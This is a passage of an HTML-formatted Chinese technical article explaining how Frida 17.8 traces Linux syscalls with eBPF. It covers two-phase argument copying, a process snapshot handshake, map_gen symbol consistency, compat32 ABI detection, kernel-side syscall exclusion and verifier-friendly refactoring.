&#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">connect/bind/sendto</span></code><span leaf="">的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sockaddr</span></code><span leaf="">，在enter阶段直接拷贝。</span></p></li><li style=""><p><span leaf="">需要返回后才有意义的输出参数 例如</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">readlinkat</span></code><span leaf="">输出字符串、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">fstat/statx</span></code><span leaf="">输出结构体、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">recvfrom/accept</span></code><span leaf="">输出地址。 这些在enter阶段只登记inflight计划，exit阶段依据返回值与长度再执行</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">bpf_probe_read_user</span></code><span leaf="">。</span></p></li><li style=""><p><span leaf="">专门类型解码入口 用户态会按签名尝试把</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">timespec</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sockaddr</span></code><span leaf="">从bytes转成结构化值。</span></p></li></ol><p data-line="102" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这种“enter登记，exit补拷”的双阶段模型，能在保证信息完整度的同时，避免在enter路径做过度读取。</span></p><h3 data-line="94" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">5 首次进程快照握手</span></h3><p data-line="110" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ensure_process_state()</span></code><span leaf="">是整个链路最重要的同步点：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">若</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">process_states</span></code><span leaf="">里没有该</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">tgid</span></code><span leaf="">，先插入初始状态。</span></p></li><li style=""><p><span leaf="">发出</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">NEED_SNAPSHOT</span></code><span leaf="">到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">map_events</span></code><span leaf="">。</span></p></li><li style=""><p><span leaf="">调用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">bpf_send_signal(SIGSTOP)</span></code><span leaf="">暂停当前线程。</span></p></li><li style=""><p><span leaf="">用户态收到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">NEED_SNAPSHOT</span></code><span leaf="">后刷新映射快照，并把</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">map_gen</span></code><span leaf="">置为1。</span></p></li><li style=""><p><span leaf="">用户态再</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SIGCONT</span></code><span leaf="">恢复目标线程。</span></p></li></ol><p data-line="113" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这解决了一个经典问题：如果在没有初始映射快照时就开始做栈符号化，地址到模块的映射会出现系统性错位。</span></p><h3 data-line="105" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">6 map_gen一致性机制</span></h3><p data-line="122" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">map_gen</span></code><span leaf="">是Frida这版实现里最有工程价值的字段之一： 这里的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">map_gen</span></code><span leaf="">由</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mmap/munmap</span></code><span leaf="">变化驱动，与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">eBPF Map</span></code><span leaf="">容器不是同一概念。</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">每条syscall事件都携带</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">map_gen</span></code><span leaf="">。</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mmap/munmap</span></code><p><span leaf="">触发时递增该进程</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">map_gen</span></code><span leaf="">。</span></p></li><li style=""><p><span leaf="">用户态符号解析请求会带上</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">pid+gen+addresses</span></code><span leaf="">。</span></p></li></ol><p data-line="123" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">效果是：同一条栈地址在不同</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">map_gen</span></code><span leaf="">下可映射到不同模块视图，避免动态加载场景下“符号飘移”。</span></p><h3 data-line="114" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">7 ABI判定与compat32支持</span></h3><p data-line="133" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">17.8阶段Linux链路把ABI判定前移到内核态：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">thread_info.flags</span></code><span leaf="">检测</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">compat32</span></code><span leaf="">位。</span></p></li><li style=""><p><span leaf="">事件在内核侧即写入</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">abi</span></code><span leaf="">语义并参与排除匹配。</span></p></li><li style=""><p><span leaf="">用户态按</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">native/compat32</span></code><span leaf="">签名表分别解码。</span></p></li></ol><p data-line="132" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这样做避免了旧方案“用户态推测ABI”的竞态与误判。</span></p><h3 data-line="123" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">8 排除syscall在内核侧生效</span></h3><p data-line="143" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">排除规则不是UI过滤，而是采集前过滤：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">exclude-syscalls</span></code><p><span leaf="">请求写入</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">excluded_syscalls</span></code><span leaf=""> map。</span></p></li><li style=""><p><span leaf="">eBPF在enter/exit入口先查表。</span></p></li><li style=""><p><span leaf="">命中后直接返回，不产生事件。</span></p></li></ol><p data-line="141" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这对高频噪声syscall（如轮询、心跳）很关键，因为它直接减少内核到用户态带宽与ringbuf占用。</span></p><h3 data-line="132" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">9 verifier友好化改造</span></h3><p data-line="153" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">17.8.0前的关键重构目标是“更容易通过verifier”：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">减少包装函数层级，降低控制流深度。</span></p></li><li style=""><p><span leaf="">对结构体使用显式零初始化（如</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Inflight v = {}</span></code><span leaf="">）。</span></p></li><li style=""><p><span leaf="">对长度变量加掩码与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">barrier_var</span></code><span leaf="">，让边界推导更确定。</span></p></li><li style=""><p><span leaf="">对字符串与buffer复制分支做上限收敛。</span></p></li></ol><p data-line="151" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">配套地，BPF加载日志缓冲区提升到128KiB，能明显改善调试失败时的可观测性。</span></p><h2 data-line="162" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">用户态调用链细节</span></h2><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001414" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=975cd5b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSq4BUsrXeT9WOYOFbxib3TVYxtngFNVY4abMoIqWaC4OUdOp6Fd7ibMfxzhBhkibWR0ibNicF4J1Z2TJ2zdQrPj14Z7xzYicicgGGrOlaNNZaYap9I%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 data-line="166" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">1 service入口与请求分发</span></h3><p data-line="167" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">LinuxHostSession.do_open_service()</span></code><span leaf="">收到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">syscall-trace</span></code><span leaf="">协议后，实例化</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">LinuxSyscallTraceServiceSession</span></code><span leaf="">。</span></p><p data-line="169" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">该session支持的核心请求有：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">get-signatures</span></code></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">add-targets</span></code><p><span leaf="">与</span><code 